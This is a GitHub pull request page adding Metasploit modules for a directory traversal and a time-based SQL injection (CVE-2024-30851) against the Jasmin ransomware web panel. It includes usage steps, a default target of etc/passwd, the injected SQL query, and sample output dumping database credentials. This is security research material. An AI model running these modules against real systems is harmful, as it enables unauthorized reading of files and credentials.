Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

jasmin ransomware sqli and dir travers (CVE-2024-30851) #19103

Merged
6 commits merged into from
May 27, 2024

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Apr 17, 2024

This PR adds an unauth dir traversal, and a sqli exploit (CVE-2024-30851) against the Jasmin ransomware web panel.

Verification

  1. Install the application

  2. Start msfconsole

  3. Do: use auxiliary/gather/jasmin_ransomware_dir_traversal

  4. Do: set rhosts [ip]

  5. Do: run

  6. You should get the content of a file if it exists.

  7. Install the application

  8. Start msfconsole

  9. Do: use auxiliary/gather/jasmin_ransomware_sqli

  10. Do: set rhosts [IP]

  11. Do: run

  12. You should contents from the SQL Database.

@h00die
Copy link
Contributor Author

h00die commented Apr 17, 2024

@chebuya wanted to bring this to your attention since you discovered it

[
OptString.new('TARGETURI', [true, 'The relative URI of the Jasmin Ransomware webserver', '/']),
OptInt.new('DEPTH', [true, 'Depth of directory traversal to root ', 9]),
OptString.new('FILE', [true, 'File to retrieve', 'etc/passwd'])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could this datastore option enable the module to grab multiple files at once?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

as an OptString in theory if there was a , or other delimiter, however I don't think any dir travers modules within MSF do multiple files unless its a 'static' device (like a network appliance) where things are in a set location and certain files are known to be of strategic value

modules/auxiliary/gather/jasmin_ransomware_sqli.rb Outdated Show resolved Hide resolved
@cdelafuente-r7 cdelafuente-r7 self-assigned this Apr 29, 2024
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @h00die for these modules. I just left a few minor comments before it lands.

@h00die
Copy link
Contributor Author

h00die commented May 26, 2024

@cdelafuente-r7 this should be good now

@cdelafuente-r7
Copy link
Contributor

Thanks for updating this @h00die ! Everything looks good to me now. I tested against the latest version available and verified both modules work as expected. I'll go ahead and land it.

  • Example outputs:
msf6 auxiliary(gather/jasmin_ransomware_dir_traversal) > run verbose=true rhosts=192.168.101.229 rport=8080 file=/srv/www/jasmin/database/db_conection.php
[*] Running module against 192.168.101.229

[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Jasmin Login page detected
[+] <?php
$dbcon=mysqli_connect("localhost","jasminadmin","123456");

mysqli_select_db($dbcon,"jasmin_db");

?>

[+] Saved file to: /home/msfuser/.msf4/loot/20240527111824_default_192.168.101.229_jasmin.webpanel._144889.txt
[*] Auxiliary module execution completed
msf6 auxiliary(gather/jasmin_ransomware_sqli) > run verbose=true rhosts=192.168.101.229 rport=8080
[*] Running module against 192.168.101.229

[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Jasmin Login page detected
[*] Dumping login table
[*] {SQLi} Executing (select group_concat(cast(concat_ws(';',ifnull(admin,''),ifnull(creds,'')) as binary)) from master)
[*] {SQLi} Time-based injection: expecting output of length 15
[!] No active DB -- Credential data will not be saved!
[+] Dumped table contents:
Logins
======

 admin     creds
 -----     -----
 siddhant  123456

[*] Auxiliary module execution completed

@cdelafuente-r7 cdelafuente-r7 closed this pull request by merging all changes into rapid7:master in f274c46 May 27, 2024
@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds an unauthenticated directory traversal and a SQLi exploit against the Jasmin ransomware web panel.

@cdelafuente-r7 cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label May 27, 2024
@h00die h00die deleted the jasmin_c2 branch May 27, 2024 12:36
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

4 participants